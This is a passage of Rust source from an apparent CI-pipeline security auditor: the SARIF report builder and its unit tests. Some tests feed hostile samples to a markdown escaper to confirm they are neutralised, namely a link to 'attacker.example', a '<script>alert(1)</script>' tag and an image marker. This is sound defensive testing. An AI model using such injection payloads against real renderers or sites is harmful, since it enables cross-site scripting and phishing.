2397 text: escaped_message,
2398 },
2399 locations: vec![SarifLocation {
2400 physical_location: SarifPhysicalLocation {
2401 artifact_location: SarifArtifactLocation {
2402 uri,
2403 uri_base_id: "%SRCROOT%",
2404 },
2405 },
2406 }],
2407 properties: SarifResultProperties {
2408 security_severity,
2409 taudit_source,
2410 finding_group_id,
2411 suppression_key,
2412 time_to_fix,
2413 compensating_controls,
2414 suppressed,
2415 original_severity,
2416 confidence_scope,
2417 runtime_preconditions,
2418 portal_control_dependency,
2419 authority_kinds,
2420 attacker_surface_kinds,
2421 template_resolution_strength,
2422 cve_relationship,
2423 },
2424 partial_fingerprints: SarifPartialFingerprints {
2425 primary_location_line_hash: fingerprint.clone(),
2431 taudit_v1: fingerprint,
2432 },
2433 }
2434}
2435
2436fn severity_to_level(severity: &Severity) -> &'static str {
2443 match severity {
2444 Severity::Critical | Severity::High => "error",
2445 Severity::Medium => "warning",
2446 Severity::Low | Severity::Info => "note",
2447 }
2448}
2449
2450fn severity_to_security_severity(severity: &Severity) -> &'static str {
2451 match severity {
2452 Severity::Critical => "9.0",
2453 Severity::High => "7.5",
2454 Severity::Medium => "5.0",
2455 Severity::Low => "2.0",
2456 Severity::Info => "0.1",
2457 }
2458}
2459
2460#[cfg(test)]
2463mod tests {
2464 use super::*;
2465 use taudit_core::finding::{FindingCategory, FindingExtras, Recommendation, Severity};
2466 use taudit_core::graph::{AuthorityGraph, PipelineSource};
2467
2468 #[test]
2471 fn escape_markdown_passes_clean_prose_unchanged() {
2472 let s = "AWS_KEY reaches deploy across trust boundary";
2473 let out = escape_markdown(s);
2474 assert!(
2478 matches!(out, Cow::Borrowed(_)),
2479 "clean input must zero-alloc"
2480 );
2481 assert_eq!(out, s);
2482 }
2483
2484 #[test]
2485 fn escape_markdown_neutralises_link_payload() {
2486 let hostile = "Click [here](https://attacker.example) for context";
2487 let out = escape_markdown(hostile);
2488 assert!(out.contains("\\["));
2491 assert!(out.contains("\\]"));
2492 assert!(out.contains("\\("));
2493 assert!(out.contains("\\)"));
2494 assert!(out.contains("https://attacker.example"));
2497 }
2498
2499 #[test]
2500 fn escape_markdown_neutralises_html_tags() {
2501 let hostile = "<script>alert(1)</script>";
2502 let out = escape_markdown(hostile);
2503 assert!(out.contains("\\<"));
2504 assert!(out.contains("\\>"));
2505 }
2506
2507 #[test]
2508 fn escape_markdown_neutralises_emphasis_and_code() {
2509 let hostile = "**bold** `code`";
2510 let out = escape_markdown(hostile);
2511 assert!(out.contains("\\*"));
2512 assert!(out.contains("\\`"));
2513 }
2514
2515 #[test]
2516 fn escape_markdown_handles_image_marker() {
2517 let hostile = "";
2518 let out = escape_markdown(hostile);
2519 assert!(out.contains("\\!"));
2520 assert!(out.contains("\\["));
2521 assert!(out.contains("\\]"));
2522 assert!(out.contains("\\("));
2523 assert!(out.contains("\\)"));
2524 }
2525
2526 #[test]
2527 fn escape_markdown_preserves_legitimate_identifiers() {
2528 let s = "AWS_KEY reaches deploy via my-custom-rule#42";
2532 let out = escape_markdown(s);
2533 assert!(
2534 matches!(out, Cow::Borrowed(_)),
2535 "underscore/hyphen/hash must not trigger escape"
2536 );
2537 assert_eq!(out, s);
2538 }
2539 use taudit_core::ports::ReportSink;
2540
2541 fn source() -> PipelineSource {
2542 PipelineSource {
2543 file: ".github/workflows/ci.yml".into(),
2544 repo: None,
2545 git_ref: None,
2546 commit_sha: None,
2547 }
2548 }
2549
2550 fn empty_graph() -> AuthorityGraph {
2551 AuthorityGraph::new(source())
2552 }
2553
2554 fn make_finding(severity: Severity, category: FindingCategory, msg: &str) -> Finding {
2555 Finding {
2556 severity,
2557 category,
2558 path: None,
2559 nodes_involved: vec![],
2560 message: msg.to_string(),
2561 recommendation: Recommendation::Manual {
2562 action: "review".to_string(),
2563 },
2564 source: taudit_core::finding::FindingSource::BuiltIn,
2565 extras: FindingExtras::default(),
2566 }
2567 }
2568
2569 fn emit_to_string(graph: &AuthorityGraph, findings: &[Finding]) -> serde_json::Value {
2570 let mut buf = Vec::new();
2571 SarifReportSink.emit(&mut buf, graph, findings).unwrap();
2572 serde_json::from_slice(&buf).unwrap()
2573 }
2574
2575 #[test]
2576 fn empty_findings_produces_valid_sarif() {
2577 let graph = empty_graph();
2578 let sarif = emit_to_string(&graph, &[]);
2579
2580 assert_eq!(sarif["version"], "2.1.0");
2581 assert!(sarif["$schema"].as_str().unwrap().contains("sarif-2.1.0"));
2582 let results = &sarif["runs"][0]["results"];
2583 assert_eq!(results.as_array().unwrap().len(), 0);
2584 }
2585
2586 #[test]
2587 fn driver_name_and_rules_present() {
2588 let graph = empty_graph();
2589 let sarif = emit_to_string(&graph, &[]);
2590
2591 let driver = &sarif["runs"][0]["tool"]["driver"];
2592 assert_eq!(driver["name"], "taudit");
2593
2594 let rules = driver["rules"].as_array().unwrap();
2595 assert_eq!(rules.len(), RULE_DEFS.len());
2596
2597 for rule in rules {
2599 assert!(rule["id"].is_string());
2600 assert!(rule["name"].is_string());
2601 assert!(rule["shortDescription"]["text"].is_string());
2602 assert!(rule["fullDescription"]["text"].is_string());
2603 assert!(rule["defaultConfiguration"]["level"].is_string());
2604 assert!(rule["helpUri"].is_string());
2605 assert!(rule["properties"]["security-severity"].is_string());
2606 let tags = rule["properties"]["tags"].as_array().unwrap();
2607 assert!(
2608 tags.iter().any(|t| t == "security"),
2609 "every rule must carry the \"security\" tag"
2610 );
2611 }
2612 }
2613
2614 #[test]
2615 fn severity_maps_to_correct_sarif_level() {
2616 let graph = empty_graph();
2617 let findings = vec![
2618 make_finding(
2619 Severity::Critical,
2620 FindingCategory::UnpinnedAction,
2621 "critical",
2622 ),
2623 make_finding(
2624 Severity::High,
2625 FindingCategory::OverPrivilegedIdentity,
2626 "high",
2627 ),
2628 make_finding(
2629 Severity::Medium,
2630 FindingCategory::AuthorityPropagation,
2631 "medium",
2632 ),
2633 make_finding(Severity::Low, FindingCategory::LongLivedCredential, "low"),
2634 make_finding(Severity::Info, FindingCategory::FloatingImage, "info"),
2635 ];
2636
2637 let sarif = emit_to_string(&graph, &findings);
2638 let results = sarif["runs"][0]["results"].as_array().unwrap();
2639
2640 assert_eq!(results[0]["level"], "error"); assert_eq!(results[1]["level"], "error"); assert_eq!(results[2]["level"], "warning"); assert_eq!(results[3]["level"], "note"); assert_eq!(results[4]["level"], "note"); assert_eq!(results[0]["properties"]["security-severity"], "9.0");
2648 assert_eq!(results[1]["properties"]["security-severity"], "7.5");
2649 assert_eq!(results[2]["properties"]["security-severity"], "5.0");
2650 assert_eq!(results[3]["properties"]["security-severity"], "2.0");
2651 assert_eq!(results[4]["properties"]["security-severity"], "0.1");
2652 }
2653
2654 #[test]
2655 fn result_has_rule_id_message_and_location() {
2656 let graph = empty_graph();
2657 let findings = vec![make_finding(
2658 Severity::High,
2659 FindingCategory::UnpinnedAction,
2660 "Unpinned actions/checkout@v4",
2661 )];
2662
2663 let sarif = emit_to_string(&graph, &findings);
2664 let r = &sarif["runs"][0]["results"][0];
2665
2666 assert_eq!(r["ruleId"], "unpinned_action");
2667 assert_eq!(r["message"]["text"], "Unpinned actions/checkout@v4");
2668
2669 let uri = &r["locations"][0]["physicalLocation"]["artifactLocation"]["uri"];
2670 assert_eq!(uri, ".github/workflows/ci.yml");
2671
2672 let base = &r["locations"][0]["physicalLocation"]["artifactLocation"]["uriBaseId"];
2673 assert_eq!(base, "%SRCROOT%");
2674
2675 let fp = r["partialFingerprints"]["primaryLocationLineHash"]
2677 .as_str()
2678 .unwrap();
2679 assert_eq!(
2680 fp.len(),
2681 32,
2682 "fingerprint should be 32 hex chars (v3 = 128-bit)"
2683 );
2684 assert!(fp.chars().all(|c| c.is_ascii_hexdigit()));
2685
2686 let tv1 = r["partialFingerprints"]["taudit/v1"]
2692 .as_str()
2693 .expect("partialFingerprints must include taudit/v1");
2694 assert_eq!(
2695 tv1, fp,
2696 "taudit/v1 must be byte-identical to primaryLocationLineHash within the v1 major"
2697 );
2698 assert_eq!(tv1.len(), 32);
2699 assert!(tv1.chars().all(|c| c.is_ascii_hexdigit()));
2700 }
2701
2702 #[test]
2703 fn all_finding_categories_have_rule_definitions() {
2704 let categories = [
2707 FindingCategory::AuthorityPropagation,
2708 FindingCategory::OverPrivilegedIdentity,
2709 FindingCategory::UnpinnedAction,
2710 FindingCategory::UntrustedWithAuthority,
2711 FindingCategory::ArtifactBoundaryCrossing,
2712 FindingCategory::FloatingImage,
2713 FindingCategory::LongLivedCredential,
2714 FindingCategory::PersistedCredential,
2715 FindingCategory::TriggerContextMismatch,
2716 FindingCategory::CrossWorkflowAuthorityChain,
2717 FindingCategory::AuthorityCycle,
2718 FindingCategory::UpliftWithoutAttestation,
2719 FindingCategory::SelfMutatingPipeline,
2720 FindingCategory::VariableGroupInPrJob,
2721 FindingCategory::SelfHostedPoolPrHijack,
2722 FindingCategory::ServiceConnectionScopeMismatch,
2723 FindingCategory::TemplateExtendsUnpinnedBranch,
2724 FindingCategory::TemplateRepoRefIsFeatureBranch,
2725 FindingCategory::VmRemoteExecViaPipelineSecret,
2726 FindingCategory::ShortLivedSasInCommandLine,
2727 FindingCategory::SecretToInlineScriptEnvExport,
2728 FindingCategory::SecretMaterialisedToWorkspaceFile,
2729 FindingCategory::KeyVaultSecretToPlaintext,
2730 FindingCategory::TerraformAutoApproveInProd,
2731 FindingCategory::AddSpnWithInlineScript,
2732 FindingCategory::ParameterInterpolationIntoShell,
2733 FindingCategory::RuntimeScriptFetchedFromFloatingUrl,
2734 FindingCategory::PrTriggerWithFloatingActionRef,
2735 FindingCategory::UntrustedApiResponseToEnvSink,
2736 FindingCategory::PrBuildPushesImageWithFloatingCredentials,
2737 FindingCategory::SecretViaEnvGateToUntrustedConsumer,
2738 FindingCategory::TerraformOutputViaSetvariableShellExpansion,
2739 FindingCategory::RiskyTriggerWithAuthority,
2740 FindingCategory::SensitiveValueInJobOutput,
2741 FindingCategory::ManualDispatchInputToUrlOrCommand,
2742 FindingCategory::SecretsInheritOverscopedPassthrough,
2743 FindingCategory::UnsafePrArtifactInWorkflowRunConsumer,
2744 FindingCategory::ScriptInjectionViaUntrustedContext,
2745 FindingCategory::InteractiveDebugActionInAuthorityWorkflow,
2746 FindingCategory::PrSpecificCacheKeyInDefaultBranchConsumer,
2747 FindingCategory::GhCliWithDefaultTokenEscalating,
2748 FindingCategory::GhaScriptInjectionToPrivilegedShell,
2749 FindingCategory::GhaWorkflowRunArtifactPoisoningToPrivilegedConsumer,
2750 FindingCategory::GhaRemoteScriptInAuthorityJob,
2751 FindingCategory::GhaPatRemoteUrlWrite,
2752 FindingCategory::GhaIssueCommentCommandToWriteToken,
2753 FindingCategory::GhaPrBuildPushesPublishableImage,
2754 FindingCategory::GhaManualDispatchRefToPrivilegedCheckout,
2755 FindingCategory::CiJobTokenToExternalApi,
2756 FindingCategory::IdTokenAudienceOverscoped,
2757 FindingCategory::UntrustedCiVarInShellInterpolation,
2758 FindingCategory::UnpinnedIncludeRemoteOrBranchRef,
2759 FindingCategory::DindServiceGrantsHostAuthority,
2760 FindingCategory::SecurityJobSilentlySkipped,
2761 FindingCategory::ChildPipelineTriggerInheritsAuthority,
2762 FindingCategory::CacheKeyCrossesTrustBoundary,
2763 FindingCategory::PatEmbeddedInGitRemoteUrl,
2764 FindingCategory::CiTokenTriggersDownstreamWithVariablePassthrough,
2765 FindingCategory::DotenvArtifactFlowsToPrivilegedDeployment,
2766 FindingCategory::SetvariableIssecretFalse,
2767 FindingCategory::HomoglyphInActionRef,
2768 FindingCategory::GhaHelperPathSensitiveArgv,
2769 FindingCategory::GhaHelperPathSensitiveStdin,
2770 FindingCategory::GhaHelperPathSensitiveEnv,
2771 FindingCategory::GhaPostAmbientEnvCleanupPath,
2772 FindingCategory::GhaActionMintedSecretToHelper,
2773 FindingCategory::GhaHelperUntrustedPathResolution,
2774 FindingCategory::GhaSecretOutputAfterHelperLogin,
2775 FindingCategory::LaterSecretMaterializedAfterPathMutation,
2776 FindingCategory::GhaSetupNodeCacheHelperPathHandoff,
2777 FindingCategory::GhaSetupPythonCacheHelperPathHandoff,
2778 FindingCategory::GhaSetupPythonPipInstallAuthorityEnv,
2779 FindingCategory::GhaSetupGoCacheHelperPathHandoff,
2780 FindingCategory::GhaDockerSetupQemuPrivilegedDockerHelper,
2781 FindingCategory::GhaToolInstallerThenShellHelperAuthority,
2782 FindingCategory::GhaWorkflowShellAuthorityConcentration,
2783 FindingCategory::GhaActionTokenEnvBeforeBareDownloadHelper,
2784 FindingCategory::GhaPostActionInputRetargetToCacheSave,
2785 FindingCategory::GhaTerraformWrapperSensitiveOutput,
2786 FindingCategory::GhaCompositeBareHelperAfterPathInstallWithSecretEnv,
2787 FindingCategory::GhaPulumiPathResolvedCliWithAuthority,
2788 FindingCategory::GhaPypiPublishOidcAfterPathMutation,
2789 FindingCategory::GhaChangesetsPublishCommandWithAuthority,
2790 FindingCategory::GhaRubygemsReleaseGitTokenAndOidcHelper,
2791 FindingCategory::GhaCompositeEntrypointPathShadowWithSecretEnv,
2792 FindingCategory::GhaDockerBuildxAuthorityPathHandoff,
2793 FindingCategory::GhaGoogleDeployGcloudCredentialPath,
2794 FindingCategory::GhaDatadogTestVisibilityInstallerAuthority,
2795 FindingCategory::GhaKubernetesHelperKubeconfigAuthority,
2796 FindingCategory::GhaAzureCompanionHelperAuthority,
2797 FindingCategory::GhaCreatePrGitTokenPathHandoff,
2798 FindingCategory::GhaImportGpgPrivateKeyHelperPath,
2799 FindingCategory::GhaSshAgentPrivateKeyToPathHelper,
2800 FindingCategory::GhaMacosCodesignCertSecurityPath,
2801 FindingCategory::GhaPagesDeployTokenUrlToGitHelper,
2802 FindingCategory::GhaManifestNpmLifecycleHookPrTriggerWithToken,
2803 FindingCategory::GhaManifestPythonMBuildWithPrCredentials,
2804 FindingCategory::GhaManifestCargoBuildRsPullRequestWithToken,
2805 FindingCategory::GhaManifestMakefileWithPrTriggerAndSecrets,
2806 FindingCategory::GhaManifestSubmodulesRecursiveWithPrAuthority,
2807 FindingCategory::GhaCrossrepoWorkflowCallFloatingRefCascade,
2808 FindingCategory::GhaCrossrepoSecretsInheritUnreviewedCallee,
2809 FindingCategory::GhaToolcacheAbsolutePathDowngrade,
2810 ];
2811
2812 for cat in categories {
2813 let synthetic = Finding {
2818 severity: Severity::High,
2819 category: cat,
2820 path: None,
2821 nodes_involved: vec![],
2822 message: String::new(),
2823 recommendation: taudit_core::finding::Recommendation::Manual {
2824 action: "n/a".into(),
2825 },
2826 source: FindingSource::BuiltIn,
2827 extras: FindingExtras::default(),
2828 };
2829 let id = rule_id_for(&synthetic);
2830 assert!(
2831 RULE_DEFS.iter().any(|r| r.id == id),
2832 "category {cat:?} -> rule id {id:?} has no RuleDef entry"
2833 );
2834 }
2835 }
2836
2837 #[test]
2838 fn emit_multi_produces_single_sarif_document() {
2839 let source_a = PipelineSource {
2840 file: ".github/workflows/ci.yml".into(),
2841 repo: None,
2842 git_ref: None,
2843 commit_sha: None,
2844 };
2845 let source_b = PipelineSource {
2846 file: ".github/workflows/deploy.yml".into(),
2847 repo: None,
2848 git_ref: None,
2849 commit_sha: None,
2850 };
2851 let graph_a = AuthorityGraph::new(source_a);
2852 let graph_b = AuthorityGraph::new(source_b);
2853
2854 let findings_a = vec![make_finding(
2855 Severity::High,
2856 FindingCategory::UnpinnedAction,
2857 "Unpinned checkout in ci",
2858 )];
2859 let findings_b = vec![make_finding(
2860 Severity::Critical,
2861 FindingCategory::AuthorityPropagation,
2862 "Secret reaches untrusted step in deploy",
2863 )];
2864
2865 let mut buf = Vec::new();
2866 SarifReportSink
2867 .emit_multi(
2868 &mut buf,
2869 &[
2870 (&graph_a, findings_a.as_slice()),
2871 (&graph_b, findings_b.as_slice()),
2872 ],
2873 )
2874 .unwrap();
2875
2876 let sarif: serde_json::Value = serde_json::from_slice(&buf)
2878 .expect("emit_multi must produce a single valid JSON document");
2879
2880 assert_eq!(sarif["version"], "2.1.0");
2881
2882 let runs = sarif["runs"].as_array().unwrap();
2884 assert_eq!(runs.len(), 1, "expected exactly one run");
2885
2886 let results = runs[0]["results"].as_array().unwrap();
2887 assert_eq!(results.len(), 2, "expected both files' findings in one run");
2888
2889 let uris: Vec<&str> = results
2890 .iter()
2891 .map(|r| {
2892 r["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
2893 .as_str()
2894 .unwrap()
2895 })
2896 .collect();
2897 assert!(uris.contains(&".github/workflows/ci.yml"));
2898 assert!(uris.contains(&".github/workflows/deploy.yml"));
2899 }
2900
2901 #[test]
2909 fn sarif_output_is_byte_deterministic_across_runs() {
2910 use std::collections::HashMap;
2911 use taudit_core::graph::{EdgeKind, NodeKind, TrustZone};
2912
2913 fn build_graph() -> (AuthorityGraph, Vec<Finding>) {
2914 let mut graph = AuthorityGraph::new(PipelineSource {
2915 file: "ci.yml".into(),
2916 repo: None,
2917 git_ref: None,
2918 commit_sha: None,
2919 });
2920 let secret_a = graph.add_node(NodeKind::Secret, "AWS_KEY", TrustZone::FirstParty);
2921 let secret_b = graph.add_node(NodeKind::Secret, "DEPLOY_TOKEN", TrustZone::FirstParty);
2922 let step = graph.add_node(NodeKind::Step, "deploy", TrustZone::FirstParty);
2923 graph.add_edge(step, secret_a, EdgeKind::HasAccessTo);
2924 graph.add_edge(step, secret_b, EdgeKind::HasAccessTo);
2925 if let Some(node) = graph.nodes.get_mut(step) {
2926 let mut meta: HashMap<String, String> = HashMap::new();
2927 meta.insert("z_field".into(), "z".into());
2928 meta.insert("a_field".into(), "a".into());
2929 meta.insert("m_field".into(), "m".into());
2930 meta.insert("k_field".into(), "k".into());
2931 meta.insert("c_field".into(), "c".into());
2932 node.metadata = meta;
2933 }
2934 graph
2935 .metadata
2936 .insert("trigger".into(), "pull_request".into());
2937 graph.metadata.insert("platform".into(), "github".into());
2938 let findings = vec![Finding {
2939 severity: Severity::High,
2940 category: FindingCategory::AuthorityPropagation,
2941 path: None,
2942 nodes_involved: vec![secret_a, step],
2943 message: "AWS_KEY reaches deploy".into(),
2944 recommendation: Recommendation::Manual {
2945 action: "scope it".into(),
2946 },
2947 source: FindingSource::BuiltIn,
2948 extras: FindingExtras::default(),
2949 }];
2950 (graph, findings)
2951 }
2952
2953 let mut runs: Vec<Vec<u8>> = Vec::with_capacity(9);
2954 for _ in 0..9 {
2955 let (g, f) = build_graph();
2956 let mut buf = Vec::new();
2957 SarifReportSink.emit(&mut buf, &g, &f).unwrap();
2958 runs.push(buf);
2959 }
2960
2961 let first = &runs[0];
2962 for (i, run) in runs.iter().enumerate().skip(1) {
2963 assert_eq!(
2964 first, run,
2965 "run 0 and run {i} produced byte-different SARIF output (non-determinism regression)"
2966 );
2967 }
2968 }
2969}